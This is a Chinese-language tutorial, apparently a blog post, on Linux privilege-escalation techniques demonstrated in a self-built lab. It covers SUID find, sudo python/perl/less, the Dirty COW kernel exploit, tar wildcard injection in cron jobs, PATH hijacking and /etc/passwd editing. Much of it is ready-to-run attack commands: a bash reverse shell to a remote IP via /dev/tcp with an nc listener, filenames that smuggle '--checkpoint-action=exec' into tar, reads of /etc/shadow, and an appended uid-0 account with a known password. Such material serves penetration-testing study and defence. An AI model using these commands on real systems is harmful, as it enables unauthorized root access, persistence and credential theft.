一、SUID提权
SUID(设置用户ID)是赋予文件的一种权限,它会出现在文件拥有者权限的执行位上,具有这种权限的文件会在其执行时,使调用者暂时获得该文件拥有者的权限。为可执行文件添加suid权限的目的是简化操作流程,让普通用户也能做一些高权限才能做的的工作。但是如果某些现有的二进制文件和实用程序具有SUID权限的话,就可以在执行时将权限提升为root。
原理:
SUID提权的原理与Linux进程的UID有关,进程在运行的时候有以下三个UID:
(A)Real UID:执行该进程的用户的UID。Real UID只用于标识用户,不用于权限检查。
(B)Effective UID(EUID):进程执行时生效的UID。在对访问目标进行操作时,系统会检查EUID是否有权限。一般情况下,Real UID与EUID相同,但在运行设置了SUID权限的程序时,进程的EUID会被设置为程序文件属主的UID。
(C)Saved UID:在高权限用户降权后,保留的UID。
如果某个设置了SUID权限的程序运行后创建了shell,那么shell进程的EUID也会是这个程序文件属主的UID,如果属主为root,便是一个root shell。root shell中运行的程序的EUID也都是0,具备超级权限,于是便实现了提权。
命令:find / -perm -4000 -type f 2>/dev/null find / -perm -u=s
-perm -4000:查找权限为“4000”的文件,其中“4000”是表示suid权限的数字。
-type f:查找类型为文件的结果,而不是目录或其他类型的文件。
find / -perm -4000 -type f -exec ls -l {} \;:这个命令与第一个命令类似,但使用了-exec选项,它将在查找到具有suid权限的文件后,执行一个ls -l命令,以查看这些文件的详细信息。在-exec选项中,{}表示查找到的每个文件的名称,\;表示命令结束的标记。
1.环境搭建
查看find位置
which find
查看find权限
ls -alh /usr/bin/find
查找具有suid权限的文件,发现没有find文件
find / -perm -u=s -type f 2>/dev/null
切换到root用户,赋予find文件suid权限
chmod u+s /usr/bin/find
2.提权
再次使用find命令查看具有suid权限的文件,发现有find文件
find / -perm -u=s -type f 2>/dev/null
使用find命令提权,发现是用root权限执行的whoami命令
find `which find` -exec whoami \;
find `which find` -exec ls \;
find `which find` -exec cat /etc/passwd \;
# 命令解释: 以find 命令 执行 whoami 命令。
# find (一个路径或文件必须存在) -exec 执行命令 (结束)\;
3.反弹shell
打开kali,使用nc监听6666
nc -lvvnp 6666
执行反弹shell命令
find /etc/passwd -exec bash -ip >& /dev/tcp/192.168.0.129/6666 0>&1 \;
反弹shell成功,并且是root用户的权限
二、sudo提权
普通用户一般无法使用root用户命令,使用sudo命令可以让普通用户拥有root权限,但是一般都需要输入用户的密码。管理员为了运营方便可能会对sudoer文件进行不合理的配置,使普通用户不需要输入密码就可以使用sudo命令,从而导致权限提升的问题产生。
1.python语言提权
1.1 环境搭建
创建一个普通用户user1
vim /etc/sudoers,添加以下语句,使得用sudo执行python命令时不需要密码
切换到普通用户查看
1.2 提权
此时我们就可以利用python命令进行提权了
提权命令如下:
sudo python -c 'import pty;pty.spawn("/bin/bash")'
利用python语言提权成功
2.利用perl语言提权
2.1 环境搭建
2.2 提权
sudo perl -e 'exec "/bin/bash";'
3.利用less命令提权
通过命令 “sudo less 文件” 提权
sudo less /etc/hosts
在弹出的页面输入!bash,按下回车键
提权成功
三、内核漏洞提权
利用内核漏洞提取一般三个环节:首先对目标系统进行信息收集,获取系统内核信息及版本信息
第二步,根据内核版本获取对应的漏洞以及exp
第三步,使用exp对目标进行攻击,完成提权
脏牛内核漏洞提权的原理:
在Linux内核的内存子系统处理私有只读内存映射的写时复制损坏的方式中发现了一种竞争状况,一个没有特权的本地用户可以利用此漏洞获取对只读存储器映射的写访问权,从而增加他在系统上的特权
Linux内核的内存子系统在处理写时拷贝(Copy-on-Write)时存在条件竞争漏洞,导致可以破坏私有只读内存映射。一个低权限的本地用户能够利用此漏洞获取其他只读内存映射的写权限,所以有可能进一步导致提权漏洞。
1.常规内核提权
查看linux内核版本:
uname -a
使用searchsploit搜索对应exp,并下载c文件进行编译:
searchsploit ubuntu 4.4.0searchsploit -m linux/local/45010.cgcc 45010.c -o 45010 #编译
在meterpreter下将编译好的exp上传到目标tmp目录下,赋予执行权限,可以看到执行后变为root权限:
2.脏牛提权
Linux内核的内存子系统在处理写时拷贝(Copy-on-Write)时存在条件竞争漏洞,导致可以破坏私有只读内存映射。一个低权限的本地用户能够利用此漏洞获取其他只读内存映射的写权限,有可能进一步导致提权漏洞
影响版本:Linux kernel >= 2.6.22(2007年发行,到2016年10月18日才修复)
uname -a #查看内核版本cd CVE-2016-5195-master/make #编译生成可执行文件./dcow -s #执行exp,成功返回root shell
四、Cronjobs提权
1. 通配符提权
1.1 环境搭建
vim /etc/crontab,为root用户添加一个计划任务
并进入/usr/local/bin目录下,vim test2.sh ,添加以下命令
赋予test2.sh执行权限
查看计划任务是否设置成功
1.2 提权
查看定时任务,发现一个以root权限执行的任务test2.sh,查看test2.sh,发现任务的工作为每分钟执行将/home/ubuntu下的所有内容打包为backup.tar.gz并放置在/tmp目录下(通配符*代表目录下的所有文件)。
cat /etc/crontab #查看定时任务
在/home/ubuntu目录下创建三个文件:
echo "cp /bin/bash /tmp/bash;chmod +s /tmp/bash" > test.sh
echo "" > --checkpoint=1
echo "" > "--checkpoint-action=exec=sh test.sh"
当定时任务触发后,使用了通配符*对整个文件夹进行打包,系统真正执行打包时,将目录下的文件一个一个传参给通配符执行打包操作,而在打包–checkpoint=1和–checkpoint-action=exec=sh test.sh时相当于执行如下命令:
tar czf /tmp/backup.tar.gz --checkpoint=1 --checkpoint-action=exec=sh test.sh
而–checkpoint和–checkpoint-action正好时tar的参数,此处会被当作参数执行而非文件名打包。–checkpoint-action=exec=sh test.sh为执行test.sh文件,test.sh文件内容为复制bash到tmp目录并赋予suid,即可达到提权的目的:
据说相似的命令还有chown、chmod、rsync等。
2.文件重写提权
由于管理员对定时文件权限错误分配而导致普通用户具有写权限,从而达到提权。
普通用户查看定时任务,发现datetest.sh为777权限而且为root用户:
普通用户可在datetest.sh中写入命令,将bash复制到tmp并赋予suid:
"cp /bin/bash /tmp/bash;chmod +s /tmp/bash" >> /usr/local/bin/datetest.sh
执行获取root权限:
五、环境变量提权
PATH是Linux和类Unix操作系统中的环境变量,它指定可执行程序的所有bin和sbin存储目录。当用户在终端上运行任何命令时,它会向shell发送请求以在PATH变量中搜索可执行文件来响应用户执行的命令。
echo $PATH #查看环境变量
实验演示:
假设管理员用户在/home/test目录下创建了一个demo.c文件,内容如下,执行查看shadow文件命令,setuid 规定了其运行用户,以root权限进行编译和权限设置:
gcc demo.c -o demo #编译chomod u+s demo #赋予suid
执行demo文件即执行cat /etc/shadow命令:
现在有一个攻击者拿到普通用户权限,首先执行如下命令查找具有suid的文件,发现demo:
find / -perm -u=s -type f 2>/dev/null
普通用户执行demo文件:
接下来劫持环境变量进行提权:
cd /tmpecho "/bin/bash" > cat #创建名为cat的文件,内容为/bin/bashcat catchmod 777 cat #赋予777权限export PATH=/tmp:$PATH #将tmp目录添加环境变量echo $PATH
最后执行demo,在执行cat命令时,从环境变量中查找,按查找顺序优先查找/tmp目录,而/tmp目录下的cat内容为/bin/bash,所以执行的命令从cat /etc/shadow就变成了/bin/bash /etc/shadow,从而达到提权的目的。
六、/etc/passwd 提权
1.环境搭建
给/etc/passwd文件赋予读写权限
2.提权
使用perl语言生成密码盐值
perl -le 'print crypt("password@123", "addedsalt")'
将用户名和密码写入/etc/passwd文件中
echo "test:advwtv/9yU5yQ:0:0:,,,:/root:/bin/bash" >>/etc/passwd
登录test用户,输入密码password@123,成功提权
其他生成密码盐值的方法:
#利用openssl生成加密的密码, 语法:openssl passwd-1-salt[salt value]password
openssl passwd -1 -salt user3 pass123
#mkpasswd类似于openssl passwd,它将生成指定密码字符串的哈希值。
mkpasswd -m SHA-512 pass
#利用python中的crypt库生成
python -c 'import crypt; print crypt.crypt("pass", "$6$salt")'
#利用Perl和crypt来使用salt值为我们的密码生成哈希值
perl -le 'print crypt("pass123", "abc")'
#php语言
php -r "print(crypt('aarti','123') . " ");"